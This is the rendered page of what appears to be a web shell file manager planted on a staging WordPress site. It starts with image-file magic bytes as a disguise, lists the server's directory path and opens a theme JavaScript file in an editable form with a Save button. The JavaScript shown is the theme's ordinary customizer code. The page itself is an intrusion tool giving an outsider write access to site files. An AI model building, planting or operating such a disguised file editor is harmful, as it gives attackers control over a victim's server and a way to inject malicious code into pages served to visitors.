�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fvar%2F'>var</a>/<a href='?path=%2Fvar%2Fwww%2F'>www</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2F'>vhosts</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2F'>vsdma.at</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2Fstaging.vsdma.at%2F'>staging.vsdma.at</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2Fstaging.vsdma.at%2Fwp-content%2F'>wp-content</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2Fstaging.vsdma.at%2Fwp-content%2Fthemes%2F'>themes</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2Fstaging.vsdma.at%2Fwp-content%2Fthemes%2Ftwentytwentyone%2F'>twentytwentyone</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2Fstaging.vsdma.at%2Fwp-content%2Fthemes%2Ftwentytwentyone%2Fassets%2F'>assets</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2Fstaging.vsdma.at%2Fwp-content%2Fthemes%2Ftwentytwentyone%2Fassets%2Fjs%2F'>js</a>/</p><hr><h3>✏️ Editing: customize-preview.js</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>/* global twentytwentyoneGetHexLum, jQuery */
( function() {
	// Add listener for the &quot;background_color&quot; control.
	wp.customize( &#039;background_color&#039;, function( value ) {
		value.bind( function( to ) {
			var lum = twentytwentyoneGetHexLum( to ),
				isDark = 127 &gt; lum,
				textColor = ! isDark ? &#039;var(--global--color-dark-gray)&#039; : &#039;var(--global--color-light-gray)&#039;,
				tableColor = ! isDark ? &#039;var(--global--color-light-gray)&#039; : &#039;var(--global--color-dark-gray)&#039;,
				stylesheetID = &#039;twentytwentyone-customizer-inline-styles&#039;,
				stylesheet,
				styles;

			// Modify the html &amp; body classes depending on whether this is a dark background or not.
			if ( isDark ) {
				document.body.classList.add( &#039;is-dark-theme&#039; );
				document.documentElement.classList.add( &#039;is-dark-theme&#039; );
				document.body.classList.remove( &#039;is-light-theme&#039; );
				document.documentElement.classList.remove( &#039;is-light-theme&#039; );
				document.documentElement.classList.remove( &#039;respect-color-scheme-preference&#039; );
			} else {
				document.body.classList.remove( &#039;is-dark-theme&#039; );
				document.documentElement.classList.remove( &#039;is-dark-theme&#039; );
				document.body.classList.add( &#039;is-light-theme&#039; );
				document.documentElement.classList.add( &#039;is-light-theme&#039; );
				if ( wp.customize( &#039;respect_user_color_preference&#039; ).get() ) {
					document.documentElement.classList.add( &#039;respect-color-scheme-preference&#039; );
				}
			}

			// Toggle the white background class.
			if ( 225 &lt;= lum ) {
				document.body.classList.add( &#039;has-background-white&#039; );
			} else {
				document.body.classList.remove( &#039;has-background-white&#039; );
			}

			stylesheet = jQuery( &#039;#&#039; + stylesheetID );
			styles = &#039;&#039;;
			// If the stylesheet doesn&#039;t exist, create it and append it to &lt;head&gt;.
			if ( ! stylesheet.length ) {
				jQuery( &#039;#twenty-twenty-one-style-inline-css&#039; ).after( &#039;&lt;style id=&quot;&#039; + stylesheetID + &#039;&quot;&gt;&lt;/style&gt;&#039; );
				stylesheet = jQuery( &#039;#&#039; + stylesheetID );
			}

			// Generate the styles.
			styles += &#039;--global--color-primary:&#039; + textColor + &#039;;&#039;;
			styles += &#039;--global--color-secondary:&#039; + textColor + &#039;;&#039;;
			styles += &#039;--global--color-background:&#039; + to + &#039;;&#039;;

			styles += &#039;--button--color-background:&#039; + textColor + &#039;;&#039;;
			styles += &#039;--button--color-text:&#039; + to + &#039;;&#039;;
			styles += &#039;--button--color-text-hover:&#039; + textColor + &#039;;&#039;;

			styles += &#039;--table--stripes-border-color:&#039; + tableColor + &#039;;&#039;;
			styles += &#039;--table--stripes-background-color:&#039; + tableColor + &#039;;&#039;;

			// Add the styles.
			stylesheet.html( &#039;:root{&#039; + styles + &#039;}&#039; );
		} );
	} );
}() );
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2Fstaging.vsdma.at%2Fwp-content%2Fthemes%2Ftwentytwentyone%2Fassets%2Fjs'>🔙 Back</a></p>